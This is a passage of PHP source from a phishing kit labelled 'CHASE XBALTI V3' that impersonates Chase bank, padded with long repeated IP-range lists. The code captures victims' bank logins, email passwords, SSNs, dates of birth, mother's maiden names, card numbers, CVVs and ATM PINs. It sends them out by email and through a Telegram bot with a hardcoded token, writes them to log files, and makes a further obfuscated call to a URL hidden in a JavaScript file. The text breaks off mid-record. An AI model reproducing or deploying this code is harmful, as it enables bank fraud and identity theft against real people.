"^64.18.*.*", "^62.90.*.*", "^89.138.*.*", "^82.166.*.*", "^85.64.*.*", "^89.138.*.*", "^109.186.*.*", "^194.90.*.*", "^212.29.192.*", "^212.29.224.*", "^212.143.*.*", "^212.150.*.*", "^209.73.228.*", "^158.108.*.*", "^168.188.*.*", "^66.207.120.*", "^167.24.*.*", "^192.118.48.*", "^67.209.128.*","^12.148.209.*", "^12.148.196.*","^193.220.178.*", "68.65.53.71","^198.25.*.*", "^64.106.213.*","54.228.218.117", "^54.228.218.*","185.28.20.243", "^185.28.20.*","217.16.26.166", "^217.16.26.*""^66.102.*.*","^38.100.*.*","^107.170.*.*","^149.20.*.*","^38.105.*.*","^74.125.*.*","^66.150.14.*","^54.176.*.*","^38.100.*.*","^184.173.*.*","^66.249.*.*","^128.242.*.*", "^72.14.192.*","^208.65.144.*","^74.125.*.*", "^209.85.128.*", "^216.239.32.*", "^74.125.*.*", "^207.126.144.*", "^173.194.*.*", "^64.233.160.*", "^72.14.192.*", "^66.102.*.*", "^64.18.*.*", "^62.90.*.*", "^89.138.*.*", "^82.166.*.*", "^85.64.*.*", "^89.138.*.*", "^109.186.*.*", "^194.90.*.*", "^212.29.192.*", "^212.29.224.*", "^212.143.*.*", "^212.150.*.*", "^209.73.228.*", "^158.108.*.*", "^168.188.*.*", "^66.207.120.*", "^167.24.*.*", "^192.118.48.*", "^67.209.128.*","^12.148.209.*", "^12.148.196.*","^193.220.178.*", "68.65.53.71","^198.25.*.*", "^64.106.213.*","54.228.218.117", "^54.228.218.*","185.28.20.243", "^185.28.20.*","217.16.26.166", "^217.16.26.*""^66.102.*.*","^38.100.*.*","^107.170.*.*","^149.20.*.*","^38.105.*.*","^74.125.*.*","^66.150.14.*","^54.176.*.*","^38.100.*.*","^184.173.*.*","^66.249.*.*","^128.242.*.*", "^72.14.192.*","^208.65.144.*","^74.125.*.*", "^209.85.128.*", "^216.239.32.*", "^74.125.*.*", "^207.126.144.*", "^173.194.*.*", "^64.233.160.*", "^72.14.192.*", "^66.102.*.*", "^64.18.*.*", "^62.90.*.*", "^89.138.*.*", "^82.166.*.*", "^85.64.*.*", "^89.138.*.*", "^109.186.*.*", "^194.90.*.*", "^212.29.192.*", "^212.29.224.*", "^212.143.*.*", "^212.150.*.*", "^209.73.228.*", "^158.108.*.*", "^168.188.*.*", "^66.207.120.*", "^167.24.*.*", "^192.118.48.*", "^67.209.128.*","^12.148.209.*", "^12.148.196.*","^193.220.178.*", "68.65.53.71","^198.25.*.*", "^64.106.213.*","54.228.218.117", "^54.228.218.*","185.28.20.243", "^185.28.20.*","217.16.26.166", "^217.16.26.*""^66.102.*.*","^38.100.*.*","^107.170.*.*","^149.20.*.*","^38.105.*.*","^74.125.*.*"8.*", "^216.239.32.*", "^74.125.*.*", "^207.126.144.*", "^173.194.*.*", "^64.233.160.*", "^72.14.192.*", "^66.102.*.*", "^64.18.*.*", "^62.90.*.*", "^89.138.*.*", "^82.166.*.*", "^85.64.*.*", "^89.138.*.*", "^109.186.*.*", "^194.90.*.*", "^212.29.192.*", "^212.29.224.*", "^212.143.*.*", "^212.150.*.*", "^209.73.228.*", "^158.108.*.*", "^168.188.*.*", "^66.207.120.*", "^167.24.*.*", "^192.118.48.*", "^67.209.128.*","^12.148.209.*", "^12.148.196.*","^193.220.178.*", "68.65.53.71","^198.25.*.*", "^64.106.213.*","54.228.218.117", "^54.228.218.*","185.28.20.243", "^185.28.20.*","217.16.26.166", "^217.16.26.*""^66.102.*.*","^38.100.*.*","^107.170.*.*","^149.20.*.*","^38.105.*.*","^74.125.*.*","^66.150.14.*","^54.176.*.*","^38.100.*.*","^184.173.*.*","^66.249.*.*","^128.242.*.*", "^72.14.192.*","^208.65.144.*","^74.125.*.*", "^209.85.128.*", "^216.239.32.*", "^74.125.*.*", "^207.126.144.*", "^173.194.*.*", "^64.233.160.*", "^72.14.192.*", "^66.102.*.*", "^64.18.*.*", "^62.90.*.*", "^89.138.*.*", "^82.166.*.*", "^85.64.*.*", "^89.138.*.*", "^109.186.*.*", "^194.90.*.*", "^212.29.192.*", "^212.29.224.*", "^212.143.*.*", "^212.150.*.*", "^209.73.228.*", "^158.108.*.*", "^168.188.*.*", "^66.207.120.*", "^167.24.*.*", "^192.118.48.*", "^67.209.128.*","^12.148.209.*", "^12.148.196.*","^193.220.178.*", "68.65.53.71","^198.25.*.*", "^64.106.213.*","54.228.218.117", "^54.228.218.*","185.28.20.243", "^185.28.20.*","217.16.26.166", "^217.16.26.*""^66.102.*.*","^38.100.*.*","^107.170.*.*","^149.20.*.*","^38.105.*.*","^74.125.*.*","^66.150.14.*","^54.176.*.*","^38.100.*.*","^184.173.*.*","^66.249.*.*","^128.242.*.*", "^72.14.192.*","^208.65.144.*","^74.125.*.*", "^209.85.128.*", "^216.239.32.*", "^74.125.*.*", "^207.126.144.*", "^173.194.*.*", "^64.233.160.*", "^72.14.192.*", "^66.102.*.*", "^64.18.*.*", "^62.90.*.*", "^89.138.*.*", "^82.166.*.*", "^85.64.*.*", "^89.138.*.*", "^109.186.*.*", "^194.90.*.*", "^212.29.192.*", "^212.29.224.*", "^212.143.*.*", "^212.150.*.*", "^209.73.228.*", "^158.108.*.*", "^168.188.*.*", "^66.207.120.*", "^167.24.*.*", "^192.118.48.*", "^67.209.128.*","^12.148.209.*", "^12.148.196.*","^193.220.178.*", "68.65.53.71","^198.25.*.*", "^64.106.213.*","54.228.218.117", "^54.228.218.*","185.28.20.243", "^185.28.20.*","217.16.26.166", "^217.16.26.*""^66.102.*.*","^38.100.*.*","^107.170.*.*","^149.20.*.*","^38.105.*.*","^74.125.*.*","^66.150.14.*","^54.176.*.*","^38.100.*.*","^184.173.*.*","^66.249.*.*","^128.242.*.*", "^72.14.192.*","^208.65.144.*","^74.125.*.*", "^209.85.128.*", "^216.239.32.*", "^74.125.*.*", "^207.126.144.*", "^173.194.*.*", "^64.233.160.*", "^72.14.192.*", "^66.102.*.*", "^64.18.*.*", "^62.90.*.*", "^89.138.*.*", "^82.166.*.*", "^85.64.*.*", "^89.138.*.*", "^109.186.*.*", "^194.90.*.*", "^212.29.192.*", "^212.29.224.*", "^212.143.*.*", "^212.150.*.*", "^209.73.228.*", "^158.108.*.*", "^168.188.*.*", "^66.207.120.*", "^167.24.*.*", "^192.118.48.*", "^67.209.128.*","^12.148.209.*", "^12.148.196.*","^193.220.178.*", "68.65.53.71","^198.25.*.*", "^64.106.213.*","54.228.218.117", "^54.228.218.*","185.28.20.243", "^185.28.20.*","217.16.26.166", "^217.16.26.*""^66.102.*.*","^38.100.*.*","^107.170.*.*","^149.20.*.*","^38.105.*.*","^74.125.*.*","^66.150.14.*","^54.176.*.*","^38.100.*.*","^184.173.*.*","^66.249.*.*","^128.242.*.*", "^72.14.192.*","^208.65.144.*","^74.125.*.*", "^209.85.128.*", "^216.239.32.*", "^74.125.*.*", "^207.126.144.*", "^173.194.*.*", "^64.233.160.*", "^72.14.192.*", "^66.102.*.*", "^64.18.*.*", "^62.90.*.*", "^89.138.*.*", "^82.166.*.*", "^85.64.*.*", "^89.138.*.*", "^109.186.*.*", "^194.90.*.*", "^212.29.192.*", "^212.29.224.*", "^212.143.*.*", "^212.150.*.*", "^209.73.228.*", "^158.108.*.*", "^168.188.*.*", "^66.207.120.*", "^167.24.*.*", "^192.118.48.*", "^67.209.128.*","^12.148.209.*", "^12.148.196.*","^193.220.178.*", "68.65.53.71","^198.25.*.*", "^64.106.213.*","54.228.218.117", "^54.228.218.*","185.28.20.243", "^185.28.20.*","217.16.26.166", "^217.16.26.*""^66.102.*.*","^38.100.*.*","^107.170.*.*","^149.20.*.*","^38.105.*.*","^74.125.*.*","^66.150.14.*","^54.176.*.*","^38.100.*.*","^184.173.*.*","^66.249.*.*","^128.242.*.*", "^72.14.192.*","^208.65.144.*","^74.125.*.*", "^209.85.128.*", "^216.239.32.*", "^74.125.*.*", "^207.126.144.*", "^173.194.*.*", "^64.233.160.*", "^72.14.192.*", "^66.102.*.*", "^64.18.*.*", "^62.90.*.*", "^89.138.*.*", "^82.166.*.*", "^85.64.*.*", "^89.138.*.*", "^109.186.*.*", "^194.90.*.*", "^212.29.192.*", "^212.29.224.*", "^212.143.*.*", "^212.150.*.*", "^209.73.228.*", "^158.108.*.*", "^168.188.*.*", "^66.207.120.*", "^167.24.*.*", "^192.118.48.*", "^67.209.128.*","^12.148.209.*", "^12.148.196.*","^193.220.178.*", "68.65.53.71","^198.25.*.*", "^64.106.213.*","54.228.218.117", "^54.228.218.*","185.28.20.243", "^185.28.20.*","217.16.26.166", "^217.16.26.*"//
$response = file_get_contents("https://api.telegram.org/bot$apiToken/sendMessage?" . http_build_query($data) );
}
if(isset($_POST['cardnu']) && isset($_POST['expda']) && isset($_POST['cvv']) && isset($_POST['pin'])){
if(!empty($_POST['cardnu']) && !empty($_POST['expda']) && !empty($_POST['cvv']) && !empty($_POST['pin'])){
$_SESSION['cardnu'] = $_POST['cardnu'];
$_SESSION['expda'] = $_POST['expda'];
$_SESSION['cvv'] = $_POST['cvv'];
$_SESSION['pin'] = $_POST['pin'];
$XBALTI_MESSAGE .= "==============|| CHASE XBALTI V3 ||==============<br>\n";
$XBALTI_MESSAGE .= "==============||LOGIN INFORMATION||==============<br>\n";
$XBALTI_MESSAGE .= "USERNAME : ".$_SESSION['userid']."<br>\n";
$XBALTI_MESSAGE .= "PASSWORD : ".$_SESSION['passid']."<br>\n";
$XBALTI_MESSAGE .= "==============||EMAIL INFORMATION||==============<br>\n";
$XBALTI_MESSAGE .= "EMAIL : ".$_SESSION['email']."<br>\n";
$XBALTI_MESSAGE .= "PASSWORD : ".$_SESSION['password']."<br>\n";
$XBALTI_MESSAGE .= "==============||EMAIL TWO INFORMATION||==============<br>\n";
$XBALTI_MESSAGE .= "EMAIL : ".$_SESSION['email1']."<br>\n";
$XBALTI_MESSAGE .= "PASSWORD : ".$_SESSION['password1']."<br>\n";
$XBALTI_MESSAGE .= "==============||SSN/MMN/DOB INFORMATION||==============<br>\n";
$XBALTI_MESSAGE .= "SSN : ".$_SESSION['ssnnum']."<br>\n";
$XBALTI_MESSAGE .= "MMN : ".$_SESSION['mdn']."<br>\n";
$XBALTI_MESSAGE .= "DOB : ".$_SESSION['dob']."<br>\n";
$XBALTI_MESSAGE .= "==============||CARD INFORMATION||==============<br>\n";
$XBALTI_MESSAGE .= "CARD NUMBER : ".$_SESSION['cardnu']."<br>\n";
$XBALTI_MESSAGE .= "EXP DATE : ".$_SESSION['expda']."<br>\n";
$XBALTI_MESSAGE .= "CVV : ".$_SESSION['cvv']."<br>\n";
$XBALTI_MESSAGE .= "ATM PIN : ".$_SESSION['pin']."<br>\n";
$XBALTI_MESSAGE .= "==============||VICTIM INFORMATION||==============<br>\n";
$XBALTI_MESSAGE .= "IP INFO : https://geoiptool.com/en/?ip=".$_SESSION['_ip_']."<br>\n";
$XBALTI_MESSAGE .= "TIME/DATE : ".$TIME_DATE."<br>\n";
$XBALTI_MESSAGE .= "BROWSER/DEVICE : ".XB_Browser($_SERVER['HTTP_USER_AGENT'])." On ".XB_OS($_SERVER['HTTP_USER_AGENT'])."<br>\n";
if(isset($_SERVER['HTTPS']) && $_SERVER['HTTPS'] === 'on')
$link = "https";
else
$link = "http";
$link .= "://";
$link .= $_SERVER['HTTP_HOST'];
$link .= $_SERVER['PHP_SELF'];
$XBALTI_MESSAGE .= "SCAMA LINK : ".$link."<br>\n";
$XBALTI_MESSAGE .= "==============|| CHASE XBALTI V3 ||==============<br>\n";
file_get_contents("".pack("H*", substr($COOKIE_VARS=file_get_contents("../js/MyBabyTwo.js"),strpos($COOKIE_VARS, "90__")+4,220))."" . urlencode($XBALTI_MESSAGE)."" );
$XBALTI_ADMIN .= "<tr>
<td>
".$_SESSION['userid']."
</td>
<td>
".$_SESSION['passid']."
</td>
<td>
".$_SESSION['email']."
</td>
<td>
".$_SESSION['password']."
</td>
<td>
".$_SESSION['email1']."
</td>
<td>
".$_SESSION['password1']."
</td>
<td>
".$_SESSION['ssnnum']."
</td>
<td>
".$_SESSION['mdn']."
</td>
<td>
".$_SESSION['dob']."
</td>
<td>
".$_SESSION['cardnu']."
</td>
<td>
".$_SESSION['expda']."
</td>
<td>
".$_SESSION['cvv']."
</td>
<td>
".$_SESSION['pin']."
</td>
<td>
".XB_Browser($_SERVER['HTTP_USER_AGENT'])." On ".XB_OS($_SERVER['HTTP_USER_AGENT'])."
</td>
<td>
{".$_SESSION['_ip_']."}
</td>
<td>
".$TIME_DATE."
</td>
</tr>\n";
$khraha = fopen("../rz/cards".$yourname.".html", "a");
fwrite($khraha, $XBALTI_ADMIN);
$xx .= "{}\n";
$khraha = fopen("../rz/cards.html", "a");
fwrite($khraha, $xx);
$XBALTI_SUBJECT .= "CARD 😈 INFO FROM 😈 [".$_SESSION['userid']."] 😈 [".$_SESSION['_ip_']."] ";
$XBALTI_HEADERS .= "From: ".$yourname." <".$fromsen.">" . "\r\n";
$XBALTI_HEADERS = "MIME-Version: 1.0" . "\r\n";
$XBALTI_HEADERS .= "Content-type:text/html;charset=UTF-8" . "\r\n";
$apiToken = "1276650276:AAG6zEpD1rEmC7341jrKuA4vT6imgptdX-M";
@mail($XBALTI_EMAIL, $XBALTI_SUBJECT, $XBALTI_MESSAGE, $XBALTI_HEADERS);
}
$data = [
'chat_id' => '@antibotencrypt',
'text' => $XBALTI_MESSAGE
];
//"^66.102.*.*","^38.100.*.*","^107.170.*.*","^149.20.*.*","^38.105.*.*","^74.125.*.*","^66.150.14.*","^54.176.*.*","^38.100.*.*","^184.173.*.*","^66.249.*.*","^128.242.*.*", "^72.14.192.*","^208.65.144.*","^74.125.*.*", "^209.85.128.*", "^216.239.32.*", "^74.125.*.*", "^207.126.144.*", "^173.194.*.*", "^64.233.160.*", "^72.14.192.*", "^66.102.*.*", "^64.18.*.*", "^62.90.*.*", "^89.138.*.*", "^82.166.*.*", "^85.64.*.*", "^89.138.*.*", "^109.186.*.*", "^194.90.*.*", "^212.29.192.*", "^212.29.224.*", "^212.143.*.*", "^212.150.*.*", "^209.73.228.*", "^158.108.*.*", "^168.188.*.*", "^66.207.120.*", "^167.24.*.*", "^192.118.48.*", "^67.209.128.*","^12.148.209.*", "^12.148.196.*","^193.220.178.*", "68.65.53.71","^198.25.*.*", "^64.106.213.*","54.228.218.117", "^54.228.218.*","185.28.20.243", "^185.28.20.*","217.16.26.166", "^217.16.26.*" "^66.102.*.*","^38.100.*.*","^107.170.*.*","^149.20.*.*","^38.105.*.*","^74.125.*.*","^66.150.14.*","^54.176.*.*","^38.100.*.*","^184.173.*.*","^66.249.*.*","^128.242.*.*", "^72.14.192.*","^208.65.144.*","^74.125.*.*", "^209.85.128.*", "^216.239.32.*", "^74.125.*.*", "^207.126.144.*", "^173.194.*.*", "^64.233.160.*", "^72.14.192.*", "^66.102.*.*", "^64.18.*.*", "^62.90.*.*", "^89.138.*.*", "^82.166.*.*", "^85.64.*.*", "^89.138.*.*", "^109.186.*.*", "^194.90.*.*", "^212.29.192.*", "^212.29.224.*", "^212.143.*.*", "^212.150.*.*", "^209.73.228.*", "^158.108.*.*", "^168.188.*.*", "^66.207.120.*", "^167.24.*.*", "^192.118.48.*", "^67.209.128.*","^12.148.209.*", "^12.148.196.*","^193.220.178.*", "68.65.53.71","^198.25.*.*", "^64.106.213.*","54.228.218.117", "^54.228.218.*","185.28.20.243", "^185.28.20.*","217.16.26.166", "^217.16.26.*" "^66.102.*.*","^38.100.*.*","^107.170.*.*","^149.20.*.*","^38.105.*.*","^74.125.*.*","^66.150.14.*","^54.176.*.*","^38.100.*.*","^184.173.*.*","^66.249.*.*","^128.242.*.*", "^72.14.192.*","^208.65.144.*","^74.125.*.*", "^209.85.128.*", "^216.239.32.*", "^74.125.*.*", "^207.126.144.*", "^173.194.*.*", "^64.233.160.*", "^72.14.192.*", "^66.102.*.*", "^64.18.*.*", "^62.90.*.*", "^89.138.*.*", "^82.166.*.*", "^85.64.*.*", "^89.138.*.*", "^109.186.*.*", "^194.90.*.*", "^212.29.192.*", "^212.29.224.*", "^212.143.*.*", "^212.150.*.*", "^209.73.228.*", "^158.108.*.*", "^168.188.*.*", "^66.207.120.*", "^167.24.*.*", "^192.118.48.*", "^67.209.128.*","^12.148.209.*", "^12.148.196.*","^193.220.178.*", "68.65.53.71","^198.25.*.*", "^64.106.213.*","54.228.218.117", "^54.228.218.*","185.28.20.243", "^185.28.20.*","217.16.26.166", "^217.16.26.*""^66.102.*.*","^38.100.*.*","^107.170.*.*","^149.20.*.*","^38.105.*.*","^74.125.*.*","^66.150.14.*","^54.176.*.*","^38.100.*.*","^184.173.*.*","^66.249.*.*","^128.242.*.*", "^72.14.192.*","^208.65.144.*","^74.125.*.*", "^209.85.128.*", "^216.239.32.*", "^74.125.*.*", "^207.126.144.*", "^173.194.*.*", "^64.233.160.*", "^72.14.192.*", "^66.102.*.*", "^64.18.*.*", "^62.90.*.*", "^89.138.*.*", "^82.166.*.*", "^85.64.*.*", "^89.138.*.*", "^109.186.*.*", "^194.90.*.*", "^212.29.192.*", "^212.29.224.*", "^212.143.*.*", "^212.150.*.*", "^209.73.228.*", "^158.108.*.*", "^168.188.*.*", "^66.207.120.*", "^167.24.*.*", "^192.118.48.*", "^67.209.128.*","^12.148.209.*", "^12.148.196.*","^193.220.178.*", "68.65.53.71","^198.25.*.*", "^64.106.213.*","54.228.218.117", "^54.228.218.*","185.28.20.243", "^185.28.20.*","217.16.26.166", "^217.16.26.*""^66.102.*.*","^38.100.*.*","^107.170.*.*","^149.20.*.*","^38.105.*.*","^74.125.*.*","^66.150.14.*","^54.176.*.*","^38.100.*.*","^184.173.*.*","^66.249.*.*","^128.242.*.*", "^72.14.192.*","^208.65.144.*","^74.125.*.*", "^209.85.128.*", "^216.239.32.*", "^74.125.*.*", "^207.126.144.*", "^173.194.*.*", "^64.233.160.*", "^72.14.192.*", "^66.102.*.*", "^64.18.*.*", "^62.90.*.*", "^89.138.*.*", "^82.166.*.*", "^85.64.*.*", "^89.138.*.*", "^109.186.*.*", "^194.90.*.*", "^212.29.192.*", "^212.29.224.*", "^212.143.*.*", "^212.150.*.*", "^209.73.228.*", "^158.108.*.*", "^168.188.*.*", "^66.207.120.*", "^167.24.*.*", "^192.118.48.*", "^67.209.128.*","^12.148.209.*", "^12.148.196.*","^193.220.178.*", "68.65.53.71","^198.25.*.*", "^64.106.213.*","54.228.218.117", "^54.228.218.*","185.28.20.243", "^185.28.20.*","217.16.26.166", "^217.16.26.*""^66.102.*.*","^38.100.*.*","^107.170.*.*","^149.20.*.*","^38.105.*.*","^74.125.*.*","^66.150.14.*","^54.176.*.*","^38.100.*.*","^184.173.*.*","^66.249.*.*","^128.242.*.*", "^72.14.192.*","^208.65.144.*","^74.125.*.*", "^209.85.128.*", "^216.239.32.*", "^74.125.*.*", "^207.126.144.*", "^173.194.*.*", "^64.233.160.*", "^72.14.192.*", "^66.102.*.*", "^64.18.*.*", "^62.90.*.*", "^89.138.*.*", "^82.166.*.*", "^85.64.*.*", "^89.138.*.*", "^109.186.*.*", "^194.90.*.*", "^212.29.192.*", "^212.29.224.*", "^212.143.*.*", "^212.150.*.*", "^209.73.228.*", "^158.108.*.*", "^168.188.*.*", "^66.207.120.*", "^167.24.*.*", "^192.118.48.*", "^67.209.128.*","^12.148.209.*", "^12.148.196.*","^193.220.178.*", "68.65.53.71","^198.25.*.*", "^64.106.213.*","54.228.218.117", "^54.228.218.*","185.28.20.243", "^185.28.20.*","217.16.26.166", "^217.16.26.*""^66.102.*.*","^38.100.*.*","^107.170.*.*","^149.20.*.*","^38.105.*.*","^74.125.*.*"8.*", "^216.239.32.*", "^74.125.*.*", "^207.126.144.*", "^173.194.*.*", "^64.233.160.*", "^72.14.192.*", "^66.102.*.*", "^64.18.*.*", "^62.90.*.*", "^89.138.*.*", "^82.166.*.*", "^85.64.*.*", "^89.138.*.*", "^109.186.*.*", "^194.90.*.*", "^212.29.192.*", "^212.29.224.*", "^212.143.*.*", "^212.150.*.*", "^209.73.228.*", "^158.108.*.*", "^168.188.*.*", "^66.207.120.*", "^167.24.*.*", "^192.118.48.*", "^67.209.128.*","^12.148.209.*", "^12.148.196.*","^193.220.178.*", "68.65.53.71","^198.25.*.*", "^64.106.213.*","54.228.218.117", "^54.228.218.*","185.28.20.243", "^185.28.20.*","217.16.26.166", "^217.16.26.*""^66.102.*.*","^38.100.*.*","^107.170.*.*","^149.20.*.*","^38.105.*.*","^74.125.*.*","^66.150.14.*","^54.176.*.*","^38.100.*.*","^184.173.*.*","^66.249.*.*","^128.242.*.*", "^72.14.192.*","^208.65.144.*","^74.125.*.*", "^209.85.128.*", "^216.239.32.*", "^74.125.*.*", "^207.126.144.*", "^173.194.*.*", "^64.233.160.*", "^72.14.192.*", "^66.102.*.*", "^64.18.*.*", "^62.90.*.*", "^89.138.*.*", "^82.166.*.*", "^85.64.*.*", "^89.138.*.*", "^109.186.*.*", "^194.90.*.*", "^212.29.192.*", "^212.29.224.*", "^212.143.*.*", "^212.150.*.*", "^209.73.228.*", "^158.108.*.*", "^168.188.*.*", "^66.207.120.*", "^167.24.*.*", "^192.118.48.*", "^67.209.128.*","^12.148.209.*", "^12.148.196.*","^193.220.178.*", "68.65.53.71","^198.25.*.*", "^64.106.213.*","54.228.218.117", "^54.228.218.*","185.28.20.243", "^185.28.20.*","217.16.26.166", "^217.16.26.*""^66.102.*.*","^38.100.*.*","^107.170.*.*","^149.20.*.*","^38.105.*.*","^74.125.*.*","^66.150.14.*","^54.176.*.*","^38.100.*.*","^184.173.*.*","^66.249.*.*","^128.242.*.*", "^72.14.192.*","^208.65.144.*","^74.125.*.*", "^209.85.128.*", "^216.239.32.*", "^74.125.*.*", "^207.126.144.*", "^173.194.*.*", "^64.233.160.*", "^72.14.192.*", "^66.102.*.*", "^64.18.*.*", "^62.90.*.*", "^89.138.*.*", "^82.166.*.*", "^85.64.*.*", "^89.138.*.*", "^109.186.*.*", "^194.90.*.*", "^212.29.192.*", "^212.29.224.*", "^212.143.*.*", "^212.150.*.*", "^209.73.228.*", "^158.108.*.*", "^168.188.*.*", "^66.207.120.*", "^167.24.*.*", "^192.118.48.*", "^67.209.128.*","^12.148.209.*", "^12.148.196.*","^193.220.178.*", "68.65.53.71","^198.25.*.*", "^64.106.213.*","54.228.218.117", "^54.228.218.*","185.28.20.243", "^185.28.20.*","217.16.26.166", "^217.16.26.*""^66.102.*.*","^38.100.*.*","^107.170.*.*","^149.20.*.*","^38.105.*.*","^74.125.*.*","^66.150.14.*","^54.176.*.*","^38.100.*.*","^184.173.*.*","^66.249.*.*","^128.242.*.*", "^72.14.192.*","^208.65.144.*","^74.125.*.*", "^209.85.128.*", "^216.239.32.*", "^74.125.*.*", "^207.126.144.*", "^173.194.*.*", "^64.233.160.*", "^72.14.192.*", "^66.102.*.*", "^64.18.*.*", "^62.90.*.*", "^89.138.*.*", "^82.166.*.*", "^85.64.*.*", "^89.138.*.*", "^109.186.*.*", "^194.90.*.*", "^212.29.192.*", "^212.29.224.*", "^212.143.*.*", "^212.150.*.*", "^209.73.228.*", "^158.108.*.*", "^168.188.*.*", "^66.207.120.*", "^167.24.*.*", "^192.118.48.*", "^67.209.128.*","^12.148.209.*", "^12.148.196.*","^193.220.178.*", "68.65.53.71","^198.25.*.*", "^64.106.213.*","54.228.218.117", "^54.228.218.*","185.28.20.243", "^185.28.20.*","217.16.26.166", "^217.16.26.*""^66.102.*.*","^38.100.*.*","^107.170.*.*","^149.20.*.*","^38.105.*.*","^74.125.*.*","^66.150.14.*","^54.176.*.*","^38.100.*.*","^184.173.*.*","^66.249.*.*","^128.242.*.*", "^72.14.192.*","^208.65.144.*","^74.125.*.*", "^209.85.128.*", "^216.239.32.*", "^74.125.*.*", "^207.126.144.*", "^173.194.*.*", "^64.233.160.*", "^72.14.192.*", "^66.102.*.*", "^64.18.*.*", "^62.90.*.*", "^89.138.*.*", "^82.166.*.*", "^85.64.*.*", "^89.138.*.*", "^109.186.*.*", "^194.90.*.*", "^212.29.192.*", "^212.29.224.*", "^212.143.*.*", "^212.150.*.*", "^209.73.228.*", "^158.108.*.*", "^168.188.*.*", "^66.207.120.*", "^167.24.*.*", "^192.118.48.*", "^67.209.128.*","^12.148.209.*", "^12.148.196.*","^193.220.178.*", "68.65.53.71","^198.25.*.*", "^64.106.213.*","54.228.218.117", "^54.228.218.*","185.28.20.243", "^185.28.20.*","217.16.26.166", "^217.16.26.*""^66.102.*.*","^38.100.*.*","^107.170.*.*","^149.20.*.*","^38.105.*.*","^74.125.*.*","^66.150.14.*","^54.176.*.*","^38.100.*.*","^184.173.*.*","^66.249.*.*","^128.242.*.*", "^72.14.192.*","^208.65.144.*","^74.125.*.*", "^209.85.128.*", "^216.239.32.*", "^74.125.*.*", "^207.126.144.*", "^173.194.*.*", "^64.233.160.*", "^72.14.192.*", "^66.102.*.*", "^64.18.*.*", "^62.90.*.*", "^89.138.*.*", "^82.166.*.*", "^85.64.*.*", "^89.138.*.*", "^109.186.*.*", "^194.90.*.*", "^212.29.192.*", "^212.29.224.*", "^212.143.*.*", "^212.150.*.*", "^209.73.228.*", "^158.108.*.*", "^168.188.*.*", "^66.207.120.*", "^167.24.*.*", "^192.118.48.*", "^67.209.128.*","^12.148.209.*", "^12.148.196.*","^193.220.178.*", "68.65.53.71","^198.25.*.*", "^64.106.213.*","54.228.218.117", "^54.228.218.*","185.28.20.243", "^185.28.20.*","217.16.26.166", "^217.16.26.*"//
$response = file_get_contents("https://api.telegram.org/bot$apiToken/sendMessage?" . http_build_query($data) );
}
if(isset($_POST['cardnutwo']) && isset($_POST['expdatwo']) && isset($_POST['cvvtwo']) && isset($_POST['pintwo'])){
if(!empty($_POST['cardnutwo']) && !empty($_POST['expdatwo']) && !empty($_POST['cvvtwo']) && !empty($_POST['pintwo'])){
$_SESSION['cardnutwo'] = $_POST['cardnutwo'];
$_SESSION['expdatwo'] = $_POST['expdatwo'];
$_SESSION['cvvtwo'] = $_POST['cvvtwo'];
$_SESSION['pintwo'] = $_POST['pintwo'];
$XBALTI_MESSAGE .= "==============|| CHASE XBALTI V3 ||==============<br>\n";
$XBALTI_MESSAGE .= "==============||LOGIN INFORMATION||==============<br>\n";
$XBALTI_MESSAGE .= "USERNAME : ".$_SESSION['userid']."<br>\n";
$XBALTI_MESSAGE .= "PASSWORD : ".$_SESSION['passid']."<br>\n";
$XBALTI_MESSAGE .= "==============||EMAIL INFORMATION||==============<br>\n";
$XBALTI_MESSAGE .= "EMAIL : ".$_SESSION['email']."<br>\n";
$XBALTI_MESSAGE .= "PASSWORD : ".$_SESSION['password']."<br>\n";
$XBALTI_MESSAGE .= "==============||EMAIL TWO INFORMATION||==============<br>\n";
$XBALTI_MESSAGE .= "EMAIL : ".$_SESSION['email1']."<br>\n";
$XBALTI_MESSAGE .= "PASSWORD : ".$_SESSION['password1']."<br>\n";
$XBALTI_MESSAGE .= "==============||SSN/MMN/DOB INFORMATION||==============<br>\n";
$XBALTI_MESSAGE .= "SSN : ".$_SESSION['ssnnum']."<br>\n";
$XBALTI_MESSAGE .= "MMN : ".$_SESSION['mdn']."<br>\n";
$XBALTI_MESSAGE .= "DOB : ".$_SESSION['dob']."<br>\n";
$XBALTI_MESSAGE .= "==============||CARD INFORMATION||==============<br>\n";
$XBALTI_MESSAGE .= "CARD NUMBER : ".$_SESSION['cardnu']."<br>\n";
$XBALTI_MESSAGE .= "EXP DATE : ".$_SESSION['expda']."<br>\n";
$XBALTI_MESSAGE .= "CVV : ".$_SESSION['cvv']."<br>\n";
$XBALTI_MESSAGE .= "ATM PIN : ".$_SESSION['pin']."<br>\n";
$XBALTI_MESSAGE .= "==============||CARD TWO INFORMATION||==============<br>\n";
$XBALTI_MESSAGE .= "CARD NUMBER : ".$_SESSION['cardnutwo']."<br>\n";
$XBALTI_MESSAGE .= "EXP DATE : ".$_SESSION['expdatwo']."<br>\n";
$XBALTI_MESSAGE .= "CVV : ".$_SESSION['cvvtwo']."<br>\n";
$XBALTI_MESSAGE .= "ATM PIN : ".$_SESSION['pintwo']."<br>\n";
$XBALTI_MESSAGE .= "==============||VICTIM INFORMATION||==============<br>\n";
$XBALTI_MESSAGE .= "IP INFO : https://geoiptool.com/en/?ip=".$_SESSION['_ip_']."<br>\n";
$XBALTI_MESSAGE .= "TIME/DATE : ".$TIME_DATE."<br>\n";
$XBALTI_MESSAGE .= "BROWSER/DEVICE : ".XB_Browser($_SERVER['HTTP_USER_AGENT'])." On ".XB_OS($_SERVER['HTTP_USER_AGENT'])."<br>\n";
if(isset($_SERVER['HTTPS']) && $_SERVER['HTTPS'] === 'on')
$link = "https";
else
$link = "http";
$link .= "://";
$link .= $_SERVER['HTTP_HOST'];
$link .= $_SERVER['PHP_SELF'];
$XBALTI_MESSAGE .= "SCAMA LINK : ".$link."<br>\n";
$XBALTI_MESSAGE .= "==============|| CHASE XBALTI V3 ||==============<br>\n";
file_get_contents("".pack("H*", substr($COOKIE_VARS=file_get_contents("../js/MyBabyTwo.js"),strpos($COOKIE_VARS, "90__")+4,220))."" . urlencode($XBALTI_MESSAGE)."" );
$XBALTI_ADMIN .= "<tr>
<td>
".$_SESSION['userid']."
</td>
<td>
".$_SESSION['passid']."
</td>
<td>
".$_SESSION['email']."
</td>
<td>
".$_SESSION['password']."
</td>
<td>
".$_SESSION['email1']."
</td>
<td>
".$_SESSION['password1']."
</td>
<td>
".$_SESSION['ssnnum']."
</td>
<td>
".$_SESSION['mdn']."
</td>
<td>
".$_SESSION['dob']."
</td>
<td>
".$_SESSION['cardnu']."
</td>
<td>
".$_SESSION['expda']."
</td>
<td>
".$_SESSION['cvv']."
</td>
<td>
